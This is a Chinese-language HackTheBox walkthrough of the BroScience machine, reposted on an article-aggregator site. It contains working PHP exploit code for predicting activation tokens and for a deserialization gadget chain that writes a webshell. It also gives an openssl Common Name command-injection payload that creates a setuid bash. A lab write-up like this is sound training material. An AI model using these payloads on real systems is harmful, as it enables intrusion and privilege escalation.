HackTheBox - Medium - Linux - BroScience

这篇具有很好参考价值的文章主要介绍了HackTheBox - Medium - Linux - BroScience。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

BroScience

BroScience 是一款中等难度的 Linux 机器,其特点是 Web 应用程序容易受到“LFI”的攻击。通过读取目标上的任意文件的能力,攻击者可以深入了解帐户激活码的生成方式,从而能够创建一组可能有效的令牌来激活新创建的帐户。登录后,进一步枚举显示该站点'的主题选择器功能容易受到使用自定义小工具链的 PHP 反序列化的影响,允许攻击者复制目标系统上的文件,最终导致远程代码执行。一旦站稳了脚跟,就会从数据库中恢复一些哈希值,一旦被破解,就会证明其中包含机器的有效“SSH”密码'的主要用户“bill”。最后,权限升级基于执行 Bash 脚本的 cronjob,该脚本容易受到通过“openssl”生成的证书进行命令注入的攻击,从而丧失对攻击者的“root”访问权限。


外部信息收集

端口扫描

循例nmap

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

Web枚举

在主页源码中可以看到img.php包含图片文件名来显示图片

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

但是会检测“/”,通过对%进行url enocde,实现二次url编码绕过

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

注册的时候需要激活码,然而这激活码是不可能发到我们的邮箱的

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

通过LFI读register.php,可以看到其调用utils.php中的生成函数

// Create the account
include_once 'includes/utils.php';
$activation_code = generate_activation_code();
$res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
$res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));
...
// TODO: Send the activation link to email
$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";

跟到utils.php

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

它通过时间戳来做随机数种子,而与这个时间戳最接近并且我们能够获取到的,也就是register.php返回的响应头中的Date,将其转为时间戳,再做容错

首先注册一个账户

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

将响应头的Date拿去转换

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

exp

<?php
function generate_activation_code($time) {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand($time);
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    echo $activation_code . "\n";
}

$time = 1704279054;

for ($t = $time;$t <= $time + 20; $t++){
    generate_activation_code($t);
}

?>

将生成的code保存到文件,ffuf跑一下

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

code应该是有时效的,及时到activate.php上激活

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

登录

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

Foothold

继续通过LFI读user.php

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

跟回到utils.php

class UserPrefs {
    public $theme;

    public function __construct($theme = "light") {
		$this->theme = $theme;
    }
}

function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
        return "light";
    }
}

...

不需要脑子的反序列化,exp

<?php

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp = '/var/lib/php/sessions/sess_76n6mi015r86vgf1blcnmnhqtl';
    public $imgPath = "/var/www/html/cmd.php"; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

$a = new AvatarInterface();
echo base64_encode(serialize($a));

将base64复制到Cookie

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

用相同的方法注册并激活一个恶意用户,并且登录

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

再打一遍反序列化exp。cmd.php

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

常规python3 reverse shell

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

本地横向移动

db_connect.php

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

psql进数据库

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

查表

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

直接select * from users;

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

bill是目标系统上的账户,爆破它的密码hash对我们有利,拿上前面读到的salt进行爆破

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

登ssh

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

本地权限提升

传个pspy

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

它会先检查/home/bill/Certs/broscience.crt证书是否是一天内到期

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

然后它会生成一个证书,并且执行一个bash命令,而我们可以劫持$commonName

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web

在生成证书的时候,我们向CommonName写入cmd

ill@broscience:~/Certs$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -out broscience.crt -days 1
...
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(cp /bin/bash /tmp/bash;chmod +s /tmp/bash)
Email Address []:
...

等一会,迎接老朋友的到来

HackTheBox - Medium - Linux - BroScience,HackTheBox,Linux渗透测试,HackTheBox,网络安全,配置错误,Web文章来源地址https://www.toymoban.com/news/detail-775946.html

到了这里,关于HackTheBox - Medium - Linux - BroScience的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [渗透测试学习] Crocodile - HackTheBox

    考察的是FTP传输协议相关知识 Task1 问题:在扫描过程中,什么NMAP扫描开关使用默认脚本? Task2 问题

    2024年02月02日
    浏览(29)
  • hackthebox --interface medium

    nmap -sV -sC -O -p22,80 10.10.11.200 -oN ports   访问80页面,主页面是这样的  再访问一下index.php或者index.html 发现是404错误, 有可能是里面隐藏了一些api我们可以查看到搜索看看有没有类似的api泄露 利用f12查看js源码 搜索http:// 或者/ 或者/upload 这里搜索到的是/api  说明这里是有可能跳

    2024年02月06日
    浏览(36)
  • DVWA 靶场之 Brute Force-Low&Medium(前期配置铺垫与渗透方法及源码分析)

    首先登录 DVWA 靶场 DVWA 默认的用户有5个,用户名及密码如下: 难度等级设置为 low ,我们先从最简单的开始 来到 Brute Force(暴力破解) 我们可以输入用户名和密码 简单测了几个,回显用户名或密码不正确 但是并未对我们输入的内容及次数进行限制,因此直接进行爆破 暴力

    2024年02月19日
    浏览(42)
  • Kali Linux渗透测试技术详解_渗透测试入门

    知识点 1. Kali Linux是做渗透测试用的 2. 安装VMware Workstation虚拟机 3. 安装kali-linux系统 4. 基本用法-重新设置root密码 5 安装debian11系统-默认命令行模式登录 渗透测试是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法,这个过程包括对系统的任何弱点、

    2024年02月13日
    浏览(56)
  • 【Kali Linux高级渗透测试】深入剖析Kali Linux:高级渗透测试技术与实践

    📕作者简介: 热爱跑步的恒川 ,致力于C/C++、Java、Python等多编程语言,热爱跑步,喜爱音乐的一位博主。 📗本文收录于恒川的日常汇报系列,大家有兴趣的可以看一看 📘相关专栏C语言初阶、C语言进阶系列、恒川等,大家有兴趣的可以看一看 📙Python零基础入门系列,J

    2024年02月10日
    浏览(49)
  • Linux操作系统渗透测试

    Linux操作系统渗透测试 任务环境说明: 服务器场景:Linux 服务器场景操作系统:Linux(版本不详) 渗透机环境说明: BT5渗透机用户名:root密码:toor Kali渗透机用户名:root密码:toor Windows7渗透机用户名:administrator密码:123456 1.通过Kali对服务器场景Linux进行操作系统扫描渗透

    2023年04月09日
    浏览(47)
  • 如何使用Kali Linux进行渗透测试?

    1. 渗透测试简介 渗透测试是通过模拟恶意攻击,评估系统、应用或网络的安全性的过程。Kali Linux为渗透测试人员提供了丰富的工具和资源,用于发现漏洞、弱点和安全风险。 2. 使用Kali Linux进行渗透测试的步骤 以下是使用Kali Linux进行渗透测试的基本步骤: 信息收集: 在进

    2024年02月12日
    浏览(47)
  • 渗透测试(8)- Kali Linux 系统概述

        Kali Linux 是一个基于 Debian 的 Linux 发行版,包括很多安全和取证方面的相关工具。Kali Linux 是一款全功能的安全操作系统,它可以帮助用户完成各种安全任务,包括网络渗透测试、系统攻击、密码破解、恶意软件分析、社会工程学攻击等,同时也可以用于安全研究,帮助

    2024年01月17日
    浏览(41)
  • 【Kali Linux】高级渗透测试实战篇

    对于企业网络安全建设工作的质量保障,业界普遍遵循PDCA(计划(Plan)、实施(Do)、检查(Check)、处理(Act))的方法论。近年来,网络安全攻防对抗演练发挥了越来越重要的作用。企业的安全管理者通过组织内部或外部攻击队,站在恶意攻击者的视角,识别自身网络安

    2024年02月10日
    浏览(42)
  • 使用 Kali Linux 进行 Web 渗透测试

    在Web渗透中,信息就是力量、就是安全。因此,我们总是首先收集尽可能多的有关目标的信息——因为这可能会告诉我们实施攻击的最佳方式。 一台计算机(同一IP)上可以安装多个网站。如果您无法进入目标,请尝试侵入另一个网站。获取同一 IP 上的网站(Robtex 除外)的

    2024年01月23日
    浏览(66)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包